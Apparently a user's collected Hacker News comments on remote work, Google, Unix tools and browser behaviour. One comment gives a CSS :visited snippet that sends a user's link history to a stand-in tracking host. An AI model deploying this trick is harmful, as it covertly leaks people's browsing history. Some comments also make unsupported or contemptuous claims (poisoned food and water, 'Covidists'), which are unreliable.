NackerHughes

That only speaks of how severely the attention span of the average person has plummeted in recent decades. It's impossible to sit through a movie without enough dopamine-inducing distractions or MTV-style jump cuts every few seconds.

Well that's all well and good for those of you who live with your families, or who even have family at all. For a lot of people, WFH means all the more isolation and loneliness, those fleeting moments of human contact becoming fewer and fewer.

Think about it, spending most of your week all on your own in the same room, with no one and nothing to keep you company except your own thoughts and some bits of text on a glaring LCD screen. Humans weren't meant to live like this.

Isn't it great how corporations can flood our food and water with poison and then brag to us about how they're doing it?

> That sounds like a pretty big abuse of their power and potentially raises anti-trust concerns. They could easily wield that power for nefarious reasons and I don't think any of us would want that.

As if google doesn't already abuse its power and weild it for nefarious reasons, or have massive anti-trust concerns? But god forbid they use their power to prevent others abusing theirs by forcing people to pay again and again for media they already own.

> At least your email is ensured to be available for use on every site you sign up on

Until one day it isn't. And then you're permanently locked out of every single site you use that email to sign up with.

You already know full well this will be a boon to productivity.

Your resolve to publicly ruminate about it and ask what people think instead of, you know, just going and doing it, speaks volumes of your actual level of desire for reducing distractions by working on an airgapped computer over receiving attention and praise for your ingenious idea from random strangers on the internet.

Saying "I've been thinking of <doing thing>... what do you guys think of that?" instead of actually making the effort to do it it is nothing more than theatre.

Interesting and telling indeed. A southern US accent is acceptable to portray as threatening (or unintelligent or otherwise villainous). I would say the Russian accent is similarly A-OK to use for such prejudice. Racial stereotyping is exempt from being considered hate speech, it seems, when the target is the Bad People™.

Does my answer to the question really matter? Pretty much anything I could practice and develop my skills at, AI will soon be able to do better than I could ever hope to.

It’s not like I’d have the time or energy in the hours between my full-time job to develop my skills in any meaningful way, anyway. Most days I don’t even have the brainpower to cook myself dinner in the evening, let alone learn something new. Some days I get home and go straight to bed. And I still have trouble getting out of it ten hours later.

I guess I’m wasting my time answering a question that’s not for me. I’m long past having hobbies and ambitions. I’ve “grown up”, some might say. This “real world” really is as bleak as it looked like it would be to 17-year-old me. Funny to think, even all those years ago I thought I was being a moody teenager and that soon enough I’d be proven wrong and snap out of it. Still waiting. It Gets Better Soon™, right? Or is this really all there is?

Oh well. Life goes on.

Here's a link to the proper version: https://i.imgur.com/Hla7cyT_d.png?maxwidth=999999

Wrong, but hilariously convincing as a hackernews-commenter-style post. If someone was given a load of hackernews comments and asked to find the one that was generated by a bot, who would look twice at that comment?

You can still do this today via CSS. Simply add an ::after pseudo-element to the :visited link with a URL that you control, e.g.: (semi-pseudocode example):

    a[href="https://foouniversity.edu/bookstore/"]:visited::after {
        content: url(https://malicioussite.com/fingerprintme.png?wentto=foouniversity);
    }

The user's browser will handily automatically send a request to the site, logging their visit on your end.

Not 100% sure if browsers block this (they probably can, or otherwise definitely should!) via cross-origin policies or whatever, but if you control the site that the links are on then you can set the cross-origin policy yourself, without any need of a hidden iframe or similar things that are 'obviously scary' to safety-conscious Chromium browsers.

This isn't just something I made up either:

https://csstracking.dev/

https://css-tricks.com/css-based-fingerprinting/

https://github.com/OliverBrotchie/CSS-Fingerprint

"Beautiful people" is a horribly discriminative term. It excludes everyone who isn't in line with unrealistic modern Western beauty standards, and makes anyone who's ever been called "ugly" or had a comment made about their appearance feel shut out of the conversation.

"Fellow space travelers" is similarly exclusionary. Did you consider at all that the vast majority of people who have ever been to space have been rich white men? Not to mention the extremely problematic imperialistic undertones of the entire American space program. Anyone who isn't from a privileged background is again ostracized by your words.

It depends, I guess. I'm left-handed and sometimes I like to hold the object I'm cutting with my left hand, rather than the scissors.

Covidists seem to love it when other people die, as long as their deaths reinforce the narrative they tell themselves. It's interesting to watch them suddenly lose every shred of the 'empathy' they love to preach to others about, almost as if it was never anything but a paper-thin facade of virtue signalling. Why do you feel victory when your words cause pain?

Short answer: because it's Bash. No syntax or language construct will do what you expected.

The way it's supposed to work is that politicians do things their constituents want all the time, rather than token gestures just as the time approaches when they risk being kicked out if they're unpopular.

How does this compare against the similar Privacy Redirect? https://github.com/SimonBrazell/privacy-redirect

Yes it is. The advertising companies you describe are the present of evil.

1. they're Thinner And Lighter™

2. ...err...

3. ...that's it...

The only things missing are the diagonal pinstripe background, drop shadows & glass borders round the thumbnails, and glossy reflections & lens flare on the images.

Congratulations! "syntax monocultures" is now a Googlewhack! https://www.google.com/search?q=%22syntax+monocultures%22

I think both modes would make for interesting gameplay - one where you can rotate 180 degrees, and one where you're restricted to 90 degrees at a time (kind of like those Game & Watch games with 'Game A' and 'Game B').

Very fun take on the old 2048 concept, but I'd better stop playing now otherwise I'll be on it all morning!

My only suggestion is to add control by cursor keys in addition to mouse.

We're all part of today's lucky 10,000!

That too! Imagine the chances!

Warts on the rhino? That's an idiom I've never heard before!

I had the same problem when I first started using sshfs. I found that adding the following to my sshfs invocation did the trick:

-o reconnect -o ServerAliveInterval=5

What advantages does Telegram offer over other chat services that provide the ability to quickly spin up a group chat (e.g. discord, facebook messenger, whatsapp (I think), twitter, i.e. pretty much every chat service that people use these days)? I use Telegram among others but see its feature set as pretty much identical to all others. Just yet another chat app I have to lug around because of the 1 or 2 people who use it exclusively.

This is a well-known problem of Unix (and software in general) - the original tools have suffered 'feature creep' and expanded far beyond their original intended capabilities.

Discussed here on the venerable cat-v website, which is itself named after this very phenomenon: http://harmful.cat-v.org/cat-v/

It's difficult to know where/when to draw the line though. I went through a phase of being a massive Unix fanboy but found that if you follow the philosophy too strictly, you end up with a tonne of disparate 'tools' that you have to string together several of just to do anything useful. If you have a script that e.g. loops over a list of files, you might have to spawn a large number of processes for every single item in the list, for functionality that feels like it should be built into one program (but if you add one extra feature behind a flag, then there's no reason we shouldn't add another little extra feature behind a flag, and that's how feature creep happens!).

Not only that, but once you start stringing together various Unix utilities, the expected output of each becomes set in stone (even if the output is just a single line of tab-separated numbers with no obvious meaning, e.g. `wc`). Plain text can be a lot more fragile than Unix fans would like to admit. You could add an option to a program to present the output in a different/better format if needed, but then that's another flaggie that could be better handled by a separate utility... (e.g. instead of an 'output as json' flag, why not have a 'convert input to json' utility that we can pipe the output through?)

In time, I've come to use a mix of single-purpose Unix tools with all their assorted flags, along with monolithic one-man-band tools (e.g. `find` - I have very little trust in piping things through xargs sh -c "run two commands on \"\$filename\" and please don"'"'"t fuck up quotes in \"\$filename\"" - or is it {}? or "{}"? or \"{}\"? or \{\}? You get the picture). Piping stuff together is good for when you're writing shell one-liners and making it up as you go along / as needed, but for anything more than that where a script file is needed, these days I'm more inclined to rewrite it in a 'kitchen sink' language such as PHP or Perl.

I'm glad I'm not the only one who thought this. When I first learned about function composition, a supposedly groundbreaking feature of functional programming, Unix pipes were the first thing that popped into my head, but making that comparison out loud was only met with facepalms and accusations of trolling. But it's literally 'take this input and apply these functions to it, in this order'.

"works everywhere"

Even browsers that don't have JavaScript? I sure hope so - after all, it's certainly not as if rendering tables is a solved problem since the 90s.